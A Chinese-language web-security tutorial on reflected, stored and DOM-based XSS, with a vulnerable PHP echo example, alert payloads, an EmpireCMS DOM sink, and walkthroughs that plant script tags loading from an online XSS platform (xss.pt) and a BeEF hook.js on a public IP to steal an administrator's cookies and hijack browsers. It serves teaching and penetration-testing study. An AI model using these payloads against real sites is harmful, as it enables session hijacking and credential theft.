WEB 攻防-通用漏-XSS 跨站脚本攻击-反射型/存储型/DOMBEEF-XSS
XSS跨站脚本攻击技术(一)
XSS的定义
XSS攻击,全称为跨站脚本攻击,是指攻击者通过在网页中插入恶意脚本代码,当用户浏览该网页时,恶意脚本会被执行,从而达到攻击目的的一种安全漏洞。这些恶意脚本可以窃取用户的敏感信息,如Cookie、会话令牌等,或者诱导用户执行不安全的操作,如点击恶意链接、下载恶意软件等。
XSS的原理
它是由前端JavaScript代码造成的,具体来说,是Web应用程序在处理用户输入时未能充分验证和过滤,导致恶意脚本被注入到网页中并由用户的浏览器执行。这种漏洞通常发生在动态网页中,其中JavaScript代码用于与服务器进行交互、更新页面内容或处理用户输入。由于JavaScript代码在用户的浏览器中执行,因此攻击者可以利用这一特性来构造恶意脚本,从而控制用户的浏览器进行恶意操作。
XSS的危害
理论上,只要JavaScript功能能够实现的操作,XSS攻击都有可能加以利用并实现。如:
- 实施网络钓鱼,包括窃取各类用户账号信息,严重威胁用户的信息安全。
- 窃取浏览器中用户的cookies资料,进而获取用户的隐私信息,甚至利用用户身份对网站执行非法操作。
- 劫持用户(浏览器)会话,使攻击者能够执行任意操作,如非法转账、发表日志、发送邮件等,对用户造成直接的经济损失或声誉损害。
- 强制弹出广告页面、刷流量等,干扰用户的正常使用体验,同时损害网站的正常运营。
- 网页挂马,将恶意软件或病毒植入用户电脑,进一步危害用户的系统安全。
- 进行恶意操作,如任意篡改页面信息、删除文章等,破坏网站内容的完整性和真实性。
- 发起大量的客户端攻击,如DDoS攻击,影响网站的正常访问和稳定性。
- 获取客户端信息,如用户的浏览历史、真实IP、开放端口等,为进一步的攻击提供情报支持。
- 控制受害者机器向其他网站发起攻击,形成攻击链,扩大攻击范围。
- 结合其他漏洞,如CSRF漏洞,实施更为复杂的攻击,提升攻击的成功率和危害性。
- 提升用户权限,包括进一步渗透网站,获取更高级别的访问权限和数据访问能力。
- 传播跨站脚本蠕虫,实现自动化的攻击传播和感染,造成更广泛的网络安全威胁。
XSS攻击的主要类型
反射型XSS
定义:反射型XSS,也称为非持久型或参数型XSS,是指攻击者通过构造包含恶意脚本的URL参数,当用户点击该链接时,恶意脚本会被回显到网页上并执行。
特点:反射型XSS攻击通常发生在用户与Web应用程序进行交互时,如搜索、提交表单等。由于恶意脚本是通过URL参数传递的,因此其生命周期较短,一旦用户关闭页面或清除浏览器缓存,恶意脚本就会消失。
示例:
有这么一个情况,如后端接受GET请求中的变量,并在前端直接输出该变量,
<?php
// 接收GET请求中的'x'参数
$code = $_GET['x'];// 直接输出变量,未进行任何过滤或转义
echo $code;
?>
正常访问:
当你使用正常参数访问该页面时,比如:x=1123
x接收到值会在页面中显示,假如传输x的值改成JavaScript的弹窗代码:
x=<script>alert(1)</script>
查看源代码,发现显示内容会出现在审查元素中:
按正常来说,应该显示<script>alert(1)</script>,但是这里显示空白。是因为这段代码被当成JavaScript代码去执行了。执行出的效果就是弹窗。
在产生过程中,有一个输入的值,还有个输出的值。这就是跨站产生的基本原理。但这种漏洞是一次性的,只有访问构造的地址http://127.0.0.1:8081/web/mysql/xss.php?x=<script>alert(1)</script>才可以触发此类漏洞。必须构造给别人,让别人访问,才能触发漏洞。
在这里,“反射”指的是恶意脚本被服务器接收后,几乎立即被“反射”回用户的浏览器,就像一面镜子一样。
存储型XSS(攻击代码被写进了数据库里)
定义:存储型XSS,也称为持久型XSS,是指攻击者将包含恶意脚本的内容提交到Web应用程序中,并永久存储在服务器上。当其他用户浏览该内容时,恶意脚本会被执行。
特点:存储型XSS攻击的危害性较大,因为恶意脚本被永久存储在服务器上,可以持续影响所有访问该内容的用户。此外,攻击者还可以利用存储型XSS攻击进行更复杂的攻击,如传播跨站脚本蠕虫、构建僵尸网络等。
危害:存储型XSS可能导致用户信息泄露、账户劫持、恶意软件传播等严重后果。攻击者可以利用窃取的用户Cookie进行会话劫持,或者诱导用户执行不安全的操作,如输入敏感信息、下载恶意软件等。安全产商一般只会接受存储型XSS,不会接受反射型XSS(太鸡肋)。
示例:
场景描述
假设有一个在线留言板应用,允许用户提交留言并显示在网页上。这些留言被存储在服务器的数据库中,当用户访问留言板页面时,服务器会从数据库中检索留言并显示在网页上。
攻击过程
- 恶意输入:
- 攻击者在留言框中输入一段包含恶意脚本的留言,例如:
<script>alert('恶意代码执行!');</script>
。- 攻击者提交这段留言。
- 存储恶意代码:
- 服务器接收到这段留言后,未进行充分的验证或过滤,就将其存储在数据库中。
- 反射恶意代码:
- 当其他用户访问留言板页面时,服务器从数据库中检索留言,并将其嵌入到HTML页面中返回给用户。
- 由于恶意代码被直接嵌入到页面中,当用户的浏览器解析这段HTML时,会执行其中的恶意脚本。
- 攻击结果:
- 用户的浏览器弹出一个警告框,显示“恶意代码执行!”。
- 这只是恶意脚本的一个简单示例,实际攻击中,恶意脚本可能会窃取用户的敏感信息、执行未经授权的操作、重定向用户到恶意网站等。
DOM型XSS
定义:DOM型XSS是指攻击者通过构造特殊URL或利用网页功能发送恶意代码请求,当受害者浏览器处理这些请求时,会修改DOM树并执行恶意脚本。DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。所以DOM型xss取决于输出位置,并不取决于输出环境,因此DOM型xss既有可能是反射型的,也有可能是存储型的
特点:与反射型和存储型XSS不同,DOM型XSS的攻击载荷是在受害者浏览器本地执行的。因此,其相对难以通过传统的输入验证和过滤方法进行防御。此外,DOM型XSS攻击通常与Web应用程序的具体实现细节相关,因此其攻击方式和防御措施也因人而异。
示例:pikachu靶场-DOM型,代码如下
点击click me后, F12查看具体情况,可以看出输入内容会构造一个a标签,并将输入内容作为参数href的值,放在id=dom的容器里
而把而已代码拼接到了a标签里面,尝试构造闭合触发弹窗
#" onclick="alert('xss')">
真实案例和XSS平台
1. 反射型实例-UA查询平台数据输出
平台:useragent.openadmintools.com
访问这个平台,可以发现他抓取了访问者的浏览器信息,重新进行访问,抓包,修改数据包UA头。
<script>alert(xss)</script>
数据包发送,就可以看到浏览器弹窗。
但是这类漏洞构成危害不大。因为这个需要在UA头中修改,那么要怎么发给别人。别人访问的时候又不会修改UA头再去访问。
反射型xss的漏洞不好利用的原因:
①让对方去访问构造地址;
②对方是网站管理员,获取其登录的cookies信息;
③浏览器会自动过滤xss的攻击;
2. 存储型实例-订单系统CMS权限获取
① 前台填写信息(包含了XSS代码),下订单;
② XSS代码被插入到了数据库;
③ 登录后台进行订单查看时,js代码被执行,弹出js执行代码的窗口,这就形成了xss攻击。
进行留言,在留言上写上payload
那么如何获取管理员的cookie呢?
xss利用平台:网上找或者自己搭建
(1)网上找的平台,注册一个账号:比如,https://xss.pt/xss.php
① 创建项目,然后进行功能选择,查看代码
② 复制一个代码:<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT>
③ 将代码从目标网站的前台写入
④ 等待目标网站的管理员访问,在下面等待cookie的接收
回到xss平台
比如对后台admin/admin.php?uid=3进行访问,抓包。将获得的cookie信息复制到数据包中。
但是这个cookie不能进行登录,因为这个平台获取到的cookie信息不完整,在正常登录中cookie中还有phpsessid的值,未获取到;
这个网站采用的不是cookie验证,而是phpsessid进行验证,所以无法登录后台。通常,有的网站不止使用cookie,还会使用phpsessid、httponly等进行登录保护。
(2)自己搭建xss利用平台(BeEF平台)
搭建:https://blog.csdn.net/qq_40624810/article/details/110958036
kali安装docker:https://blog.csdn.net/m0_67844671/article/details/132872790
安装BeEF:Beef-Xss 浏览器攻击框架的使用_docker安装beef-xss-CSDN博客
安装完成后,访问http://192.168.132.130:3000/ui/panel
默认账号密码beef,beef
在BeEF网站下面有一个hook.js文件,只要加载了这个地址,就会劫持这个浏览器。
将xss跨站代码写入到登录成功的文件,比如admin/index.php文件
<script src="http://47.100.167.248:3000/hook.js"></script> //注意IP地址改成自己beef的ip
这个平台也可以获取cookie,跳转,下载,钓鱼,伪装成flash。
3.DOM型实例-EmpireCMS前端页面审计
DOM类型的全都是前端的代码,所以基本上都是白盒审计
在upload/e/Viewimg/index.html 发现关键代码:
if(Request("url")!=0){
document.write("<a title=\"点击观看完整的图片...\" href=\""+Request("url")+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
}
追踪request函数
简单来说,这个request函数就是用来接收URL的地址
那么要怎么构造他呢?
访问地址http://127.0.0.1:8103/e/Viewimg/index.html
测试:http://127.0.0.1:8103/e/Viewimg/index.html?url=1
url的参数1在路径访问时并没有被当做参数,而是直接被当做文件名访问,那么应该怎么触发跨站呢?
http://127.0.0.1:8103/e/Viewimg/index.html?url=javascript:alert(1)
这样子构造在源代码中
document.write("<a title=\"点击观看完整的图片...\" href=\""+javascript:alert(1)+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
点击后的地址进行了弹窗:即这个地址http://127.0.0.1:8103/e/Viewimg/javascript:alert(1)执行了js代码
五、XSS平台与工具框架预告
- XSS平台:介绍XSS攻击平台的概念,并预告后续文章将详细介绍常见的XSS平台。
- BEEF-XSS框架:提及BEEF框架,并预告后续文章将深入探讨其使用方法和功能。
相关文章:

WEB 攻防-通用漏-XSS 跨站脚本攻击-反射型/存储型/DOMBEEF-XSS
XSS跨站脚本攻击技术(一) XSS的定义 XSS攻击,全称为跨站脚本攻击,是指攻击者通过在网页中插入恶意脚本代码,当用户浏览该网页时,恶意脚本会被执行,从而达到攻击目的的一种安全漏洞。这些恶意脚…...
SQLAlchemy -批量插入时忽略重复
PostgreSQL 有一个很棒的INSERT() ON CONFLICT DO NOTHING子句,您可以将其与 SQLAlchemy 一起使用: from sqlalchemy.dialects.postgresql import insert session.execute(insert(MyTable).values(my_entries).on_conflict_do_nothing())MySQL 有类似的INSERT IGNORE子句,但…...

1月13日学习
[HITCON 2017]SSRFme 直接给了源代码,题目名称还是ssrf,那么该题大概率就是SSRF的漏洞,进行代码审计。 <?php// 检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则将其拆分为数组,并将第一个 IP 地址…...

Steam个人开发者注册备记
具体的注册过程有很多同志已经写过了,这里只写一点自己搞得有点费劲的地方。有点久了记得也不多了。 1.姓名用汉语拼音,参考护照上的,一般是Zhang Sanli这样的格式,姓一个单词,名字一个单词(不管1个字还是…...

django在线考试系统
Django在线考试系统是一种基于Django框架开发的在线考试平台,它提供了完整的在线考试解决方案。 一、系统概述 Django在线考试系统旨在为用户提供便捷、高效的在线考试环境,满足教育机构、企业、个人等不同场景下的考试需求。通过该系统,用…...
Laravel 中 Cache::remember 的基本用途
在 Laravel 中,Cache::remember 方法用于缓存数据,以提高应用程序的性能。当需要从数据库或其他较慢的数据源中检索数据时,可以使用 Cache::remember 来检查请求的数据是否已经被缓存。如果数据已缓存,则直接从缓存中读取…...
前端进程和线程及介绍
前端开发中经常涉及到进程和线程的概念,特别是在浏览器中。理解这两个概念对于理解浏览器的工作机制和前端性能优化非常重要。以下是详细介绍: 1. 什么是进程和线程? 进程: 是操作系统分配资源的基本单位。一个程序启动后…...

OpenGL —— 基于Qt的视频播放器 - ffmpeg硬解码,QOpenGL渲染yuv420p或nv12视频(附源码)
运行效果 工程说明 源码 vertex.glsl...

Vue Router
Vue Router4 匹配 Vue3;Vue Router3 匹配 Vue2。 Vue Router 是 Vue.js 官方的路由管理器。Vue Router 基于路由和组件的映射关系,监听页面路径的变化,渲染对应的组件。 安装: npm install vue-router。 基本使用: …...

【黑灰产】人工查档业务产业链
2024年“查档”类型泄露事件快速上涨,涉及电商、外卖、社交、快递等行业数据。 近年来,陆续关注到非法数据交易产业链中游频繁出现的“查档”数据泄露情况,例如通过一个手机号,就可以查询这个手机号相关的所有身份信息࿰…...

114周二复盘 (178)
1、打新包,测试 2、白天为打包开始冲刺,问题不少,一堆细节问题, 但还是傍晚打包,不到3分钟,1.77G。 速度超预期。 3、开始测试。 基本还是达到预期的,但还是很多问题。 好在打包速度很快&am…...

day10_Structured Steaming
文章目录 Structured Steaming一、结构化流介绍(了解)1、有界和无界数据2、基本介绍3、使用三大步骤(掌握)4.回顾sparkSQL的词频统计案例 二、结构化流的编程模型(掌握)1、数据结构2、读取数据源2.1 File Source2.2 Socket Source…...
Python的秘密基地--[章节11] Python 性能优化与多线程编程
第11章:Python 性能优化与多线程编程 在开发复杂系统时,性能优化和并发编程是不可忽视的重点。Python 提供了多种工具和技术用于优化代码性能,并通过多线程、多进程等方式实现并发处理。本章将探讨如何在 Python 中提升性能,并实…...

drawDB docker部属
docker pull xinsodev/drawdb docker run --name some-drawdb -p 3000:80 -d xinsodev/drawdb浏览器访问:http://192.168.31.135:3000/...

探索图像编辑的无限可能——Adobe Photoshop全解析
文章目录 前言一、PS的历史二、PS的应用场景三、PS的功能及工具用法四、图层的概念五、调整与滤镜六、创建蒙版七、绘制形状与路径八、实战练习结语 前言 在当今数字化的世界里,视觉内容无处不在,而创建和编辑这些内容的能力已经成为许多行业的核心技能…...

【Vim Masterclass 笔记13】第 7 章:Vim 核心操作之——文本对象与宏操作 + S07L28:Vim 文本对象
文章目录 Section 7:Text Objects and MacrosS07L28 Text Objects1 文本对象的含义2 操作文本对象的基本语法3 操作光标所在的整个单词4 删除光标所在的整个句子5 操作光标所在的整个段落6 删除光标所在的中括号内的文本7 删除光标所在的小括号内的文本8 操作尖括号…...

Spring Boot教程之五十五:Spring Boot Kafka 消费者示例
Spring Boot Kafka 消费者示例 Spring Boot 是 Java 编程语言中最流行和使用最多的框架之一。它是一个基于微服务的框架,使用 Spring Boot 制作生产就绪的应用程序只需很少的时间。Spring Boot 可以轻松创建独立的、生产级的基于 Spring 的应用程序,您可…...
统计有序矩阵中的负数
统计有序矩阵中的负数 描述 给你一个 m * n 的矩阵 grid,矩阵中的元素无论是按行还是按列,都以非递增顺序排列。 请你统计并返回 grid 中 负数 的数目 示例 1: 输入:grid [[4,3,2,-1],[3,2,1,-1],[1,1,-1,-2],[-1,-1,-2,-3]]…...

【6】Word:海名公司文秘❗
目录 题目 List.docx Word.docx List.docx和Word.docx 题目 List.docx 选中1/4全角空格复制→选中全部文本→开始→替换:粘贴将1/4全角空格 替换成 空格选中全部文本→插入→表格→将文本转化成表格→勾选和布局→自动调整→勾选 选中第一列,单机右键…...
c语言 --- 字符串
创建字符串 1. 使用字符数组创建字符串 #include <stdio.h>int main() {char str[20] "Hello, world!";str[0] h; // 修改字符串的第一个字符printf("%s\n", str); // 输出:hello, world!return 0; }解释: 数组大小 20 表…...

IDEA运行Tomcat出现乱码问题解决汇总
最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力
引言: 在人工智能快速发展的浪潮中,快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型(LLM)。该模型代表着该领域的重大突破,通过独特方式融合思考与非思考…...

高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南
文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...